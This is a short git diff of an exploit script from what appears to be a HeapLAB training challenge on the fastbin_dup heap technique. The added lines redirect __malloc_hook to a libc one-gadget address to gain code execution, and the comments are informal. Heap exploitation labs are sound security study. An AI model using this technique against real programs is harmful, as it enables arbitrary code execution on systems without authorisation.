diff options
Diffstat (limited to 'HeapLAB/challenge-fastbin_dup/bruh.py')
| -rwxr-xr-x | HeapLAB/challenge-fastbin_dup/bruh.py | 7 |
1 files changed, 6 insertions, 1 deletions
diff --git a/HeapLAB/challenge-fastbin_dup/bruh.py b/HeapLAB/challenge-fastbin_dup/bruh.py index 56b0c71..df54957 100755 --- a/HeapLAB/challenge-fastbin_dup/bruh.py +++ b/HeapLAB/challenge-fastbin_dup/bruh.py @@ -74,9 +74,14 @@ malloc(119, 'sdfg') #8 * 9 -payload_loc = libc.sym.__malloc_hook - 35 +payload_loc = libc.sym.__malloc_hook - 35 #definetly the right thing malloc(119, p64(0)*9 + p64(payload_loc)) +#we now have things in place and shit +onegadget = libc.address + 0xe1fa1 +malloc(72, p64(0)*(35) + p64(onegadget)) + +print("onegadget: {}".format(hex(onegadget))) print("top chunk addr: {}".format(hex(payload_loc))) # ============================================================================= |